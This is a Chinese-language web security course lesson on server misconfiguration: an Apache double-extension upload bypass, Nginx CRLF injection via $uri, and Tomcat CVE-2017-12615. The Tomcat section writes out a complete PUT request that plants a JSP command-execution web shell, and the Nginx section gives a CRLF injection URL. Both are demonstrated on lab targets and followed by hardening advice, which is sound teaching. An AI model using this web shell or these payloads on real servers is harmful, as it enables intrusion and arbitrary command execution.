# 28|安全配置错误:安全问题不只是代码安全 你好,我是王昊天。 不知道你是否看见过下面这张图片?它是我们在使用Django编写后端程序时,经常会看到的报错页面。在这个报错页面中,我们可以看到这个Web应用的所有路径,这对于Web应用来说是极其危险的。 ![图片](https://static001.geekbang.org/resource/image/29/03/2944a63eaa107628f0f44b38db517c03.png?wh=1920x1082) 从页面最下方的提示信息中,我们可以知道,这是由于我们在Django的配置文件中,没有将DEBUG改为False导致的。所以**这就是一个由于配置错误导致的Web应用安全问题**。 其实,在Web应用中,安全配置问题还是很普遍的,这节课就让我们一起来深入学习下吧! ## 安全配置错误 在Web应用中,由于安全配置错误导致的安全问题屡见不鲜,这里我选取了Web应用中典型的一些安全配置问题来讲解,它们分别为Apache配置安全问题、Nginx配置安全问题以及Tomcat配置安全问题,下面我们逐一看下。 ![图片](https://static001.geekbang.org/resource/image/b9/b0/b94ffbc2248005978049649a54c961b0.jpg?wh=1738x644) ### Apache配置安全问题 Apache是世界使用排名第一的Web服务器软件。它的兼容性很好,可以在Linux系统以及Windows系统中运行。Web应用开发者可以用它来运行开发的Web服务。 我们可以将它简单理解为,当在一台机器上配置好Apache服务器,可利用它响应HTML页面的访问请求。 Apache软件有一个配置文件,它通常为httpd.conf,我们在启动自己的Web应用前,首先需要对它进行配置的修改。 ![图片](https://static001.geekbang.org/resource/image/5f/f9/5f17fc1e53320a81f5c791312b7e25f9.png?wh=773x434) 如果我们希望,Apache在遇到扩展名为PHP的页面文件时,将它用x-httpd-php来解析,那么我们就可以在配置文件中添加代码 `AddHandler application/x-httpd-php .php`。之后,重启Apache服务,配置就能生效。 ![图片](https://static001.geekbang.org/resource/image/5a/ed/5a03f5d89e053d1ac2373ab68d9006ed.png?wh=931x312) 而这个配置会导致一定的安全隐患,接下来让我们借助一个示例,看看它会带来什么安全隐患吧。 在此之前,我们需要学习一下Apache的基本特性。 ![图片](https://static001.geekbang.org/resource/image/66/46/663689407ff9dec170d6baf07354b046.jpg?wh=1594x406) **Apache是从前往后开始识别文件扩展名的**,例如遇到文件test.php.xyz.jpg时,它会将PHP识别为文件的扩展名,从而根据之前的配置,选择用x-httpd-php来对它进行解析。 这样,我们就做好了所有的前期准备工作。下面,我们一起来看这个安全隐患。 ![图片](https://static001.geekbang.org/resource/image/7a/d5/7a6881dd2366f32af090f96b0fd8e3d5.png?wh=1920x1232) 这是一个文件上传靶场,由于我们将它的安全等级设为高,所以**它可以成功拦截所有PHP后缀的文件**,这样做可以防止攻击者上传PHP恶意文件,从而保护Web应用的安全。 但是我们可以将恶意PHP文件名设置为test.php.xyz.jpg,这样就能绕过文件上传检测,成功将这个文件上传到images文件中。 其中这个test.php.xyz.jpg的内容为: ```php ``` 之后,我们尝试对其进行访问,发现Apache服务器无法解析这一文件。所以这个Web应用目前是安全的,攻击者无法通过上传文件test.php.xyz.jpg去执行恶意的PHP代码。 ![图片](https://static001.geekbang.org/resource/image/9f/84/9f07860c3f70769f865f1a629d298084.png?wh=1898x1398) 如果我们在Apache的配置文件apache2.conf中加入这一项 `AddHandler application/x-httpd-php .php`。然后重启Apache2服务。 ![图片](https://static001.geekbang.org/resource/image/c6/fa/c682f6d6f5442c6909afeb174f6d62fa.png?wh=1366x602) 那么我们再次访问上传的文件,获得到的响应内容就变为如下: ![图片](https://static001.geekbang.org/resource/image/e4/1f/e4bec58f746485b1fb08360c2a31251f.png?wh=1920x1203) 这里可以看到,**我们上传的恶意PHP代码已经被执行**。这个Web应用不再安全。 在这个示例中,原本的Web应用是安全的,它成功拦截了以.php结尾的文件的上传,并且不允许用x-httpd-php来解析结尾不是.php的文件,这是无懈可击的,攻击者根本无法让这个Web应用去执行恶意PHP脚本。 可是,如果Web应用开发者,在配置文件中进行错误的配置,例如这里加上AddHandler application/x-httpd-php .php,就会使得Web应用可以用x-httpd-php来解析PHP类型的文件,就算它的结尾不是.php。这给了攻击者可乘之机,让Web应用处于危险之中。 到这里,你已经学完了Apache中的安全配置问题,这会让你对安全配置问题有更具体的理解。其实在Nginx中也会有安全配置问题,接下来我们就一起看看。 ### Nginx配置安全问题 Nginx是一个高性能的HTTP和反向代理Web服务器,我们可以在Unix以及Linux中运行它。它的应用非常广泛,我们熟知的百度、京东、新浪、网易以及腾讯都有使用到这款软件。 ![图片](https://static001.geekbang.org/resource/image/fa/3c/fa42450c7da6b1887fe482fd346c6e3c.jpg?wh=600x433) 在使用这款软件时,我们必须正确的对它进行配置,否则容易导致一些安全问题。 例如,当Nginx配置不当,就会导致CRLF注入的发生。所谓CRLF其实就是两个字符,CR与LF,它们分别代表回车以及换行。事实上,在HTTP报文中,行与行之间使用的就是CRLF间隔。 接下来,为了帮助你更好地理解Nginx配置的安全问题,让我们一起来看一个示例吧。 下方代码是一个Nginx配置文件,你可能对它不太熟悉,不过不要着急,我会给你分析配置中的安全问题。 ```plain server { listen 8080; root /usr/share/nginx/html; index index.html; server_name _; location / { return 302 https://$host$uri; } } ``` 在这个Nginx配置文件中,存在问题的配置在最后一行,我们只需要关注这一部分即可。 ```plain return 302 https://$host$uri; ``` 这行代码,可以使得原本对主机的HTTP的请求,跳转到HTTPS请求上。我们可以将其中的 `$host`,简单理解为原始请求中的host信息,而 `$uri` 则是安全问题产生的关键,它代表着请求中解码后的请求路径。你可能觉得这里并没有什么问题,**可如果攻击者将请求的URL信息设置为如下:** ```plain http://ip:port/%0a%0dSet-Cookie:%20a=test ``` 这个URL中,%0a经过解码之后就是CR,%0d经过解码之后则为LF,%20解码之后对应为空格。所以Nginx在对$uri进行解码时,会将%0a%0d解码为CRLF,这会使得HTTP报文换行,然后发起Set-Cookie的请求,**这就是CRLF注入的效果**。 下面,我们一起看上述内容的实例。注意,这里靶场中的Nginx配置和上面图片中一致。 ![图片](https://static001.geekbang.org/resource/image/3d/7f/3d231f6ebf2968f195e395f3dc5a097f.png?wh=1918x1206) 我们首先访问了127.0.0.1:8080服务,发现Nginx成功让页面跳转到HTTPS服务,并且页面中也没有cookie信息。其中这里页面显示无法访问此网站,这是因为靶场仅用来演示Nginx配置问题,并没有实际页面支撑,所以导致没有页面内容返回,但它对我们的测试不会造成影响。 ![图片](https://static001.geekbang.org/resource/image/77/c3/77c15b32d03e1a536ba91da01a1cc6c3.png?wh=1812x1192) 接着,我们对这个Web应用发起攻击,对127.0.0.1:8080/%0a%0dSet-Cookie:%20a=test进行访问,结果发现页面同样跳转为HTTPS服务,不过此时多出了响应Cookie信息。**这表明我们的CRLF注入成功,并且成功执行了Set-Cookie指令。** 现在,你已经了解了Nginx配置相关的安全问题,知道了它其实就是由CRLF注入导致的。接下来,让我们继续学习Tomcat中的安全配置问题吧。 ### Tomcat配置安全问题 首先,我们来了解下Tomcat是什么? Tomcat 服务器是一个免费的开放源代码的Web应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用。实际上,Tomcat是Apache服务器的扩展,但运行时它是独立运行的,所以当你运行Tomcat时,它实际上是作为一个与Apache独立的进程单独运行。 在对它有了一定的了解之后,我们来对Tomcat做一些安全性分析。Tomcat中存在一个知名的安全配置问题,它就是CVE-2017-12615。具体的问题体现为,当Tomcat运行在Windows主机上,并且在conf/web.xml的配置文件中将DefaultServlet readonly设置为false,那么如果它启用了HTTP PUT请求方法,就会**导致任意写文件的安全问题发生**。 接下来,让我们通过实战,加深一下对Tomcat配置安全问题的理解吧。 首先,登录谜团(mituan.zone)并选择【Tomcat专题:CVE-2017-12615】靶机,如果你可以看到如下页面,那就成功打开了我们的靶场。 ![图片](https://static001.geekbang.org/resource/image/49/68/49a74009cf0a8162c0210990862df768.png?wh=1878x1313) 其次,我们要测试一下是否可以上传文件到服务器目录下。具体的实践方式为,使用BurpSuite拦截该网页,获取到如下报文: ```plain GET / HTTP/1.1 Host: 45e308724beb41f1943f19e8652afb2e.app.mituan.zone:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ``` 然后我们将它进行修改为如下报文,并进行发送。 ```plain PUT /1.jsp/ / HTTP/1.1 Host: 45e308724beb41f1943f19e8652afb2e.app.mituan.zone:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close <% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("
"); while((a=in.read(b)) != -1){ out.println(new String(b)); } out.print(""); %> ``` 修改后的报文,可以向Tomcat服务器尝试写入1.jsp文件。其中1.jsp文件的内容为报文下方<% %>内的部分。**这部分的功能就是获取get方式上传的参数i,并将它当作命令去执行。** 接下来,我们去测试尝试的攻击行为是否成功。访问路径 `/1.jsp?i= ls -l`,其中 `1.jsp` 就是我们刚刚写入的文件,而 `?i=ls -l`,这是通过get方式上传参数i,并将它的值设为 `ls -l`。 ![图片](https://static001.geekbang.org/resource/image/eb/4a/ebe40e1e3eb2a7a904ebed1b82bf3c4a.png?wh=1463x812) 我们发现页面的响应为一些文件信息,**这代表我们的 `ls -l` 命令运行成功,也代表这个Tomcat服务器存在安全配置问题。** 到这里,我们已经知道安全配置错误的危害还是较为严重的,所以我们在设计一个Web应用时,要注意对安全配置错误的避免。接下来让我们进入到安全实践中,总结一下如何避免安全配置错误。 ## 安全实践 为了避免安全配置错误的发生,我们在配置Web应用时需要遵守几个原则。 第一个原则为**最小服务原则**,我们需要将Web应用不需要的服务进行关闭或限制,防止攻击者通过这些服务发起恶意行为。 第二个原则为**通用化的报错设置**,即我们需要将Web应用的报错信息设置得通用化,使得报错信息中不包含错误发生的细节信息,防止因此导致的敏感信息泄露。 第三个原则为**修改默认账户信息**,我们需要将Web应用默认的账户信息进行修改,尽量让账户密码变得复杂,否则攻击者很容易就会猜出账户信息,登陆进Web应用的管理后台。 ## 总结 在这节课程中,我们学习了安全配置错误。 首先,我们通过Django示例,来了解什么是安全配置错误。接着我们更加深入的对典型的Web应用安全配置问题进行了逐一的学习。 我们第一个学习的是Apache相关的安全配置问题。在对这一部分的学习中,我们通过上传一个扩展名复杂的文件,绕过了Web应用对于上传文件类型的检测过滤。然后再利用Apache配置不当的问题,使得这一文件被x-httpd-php解析成功。这样就使得攻击者可以实现任意PHP代码执行。 接下来,我们学习了Nginx相关的安全配置问题。在对它的学习中,我们了解到Nginx是一个高性能的HTTP和反向代理Web服务器。如果对于它的配置方式不当,就会使得CRLF注入的发生。然后我们通过示例,知道了攻击者可以通过CRLF注入进而实现对HTTP请求指令的设置。 接着,我们学习了Tomcat相关的安全配置问题,了解到如果对它的配置不当,就会产生任意写入文件问题。在实战部分中,我们还利用这个问题成功实现了任意命令执行操作。 最后,我们学习了如何抵御安全配置错误,了解到主要可以通过最小服务原则、通用化报错设置以及修改默认账户来提升我们Web应用的安全性。 ## 思考题 除了这节课中提到的安全配置错误,你还能想到其他Web应用相关的安全配置错误吗? 欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!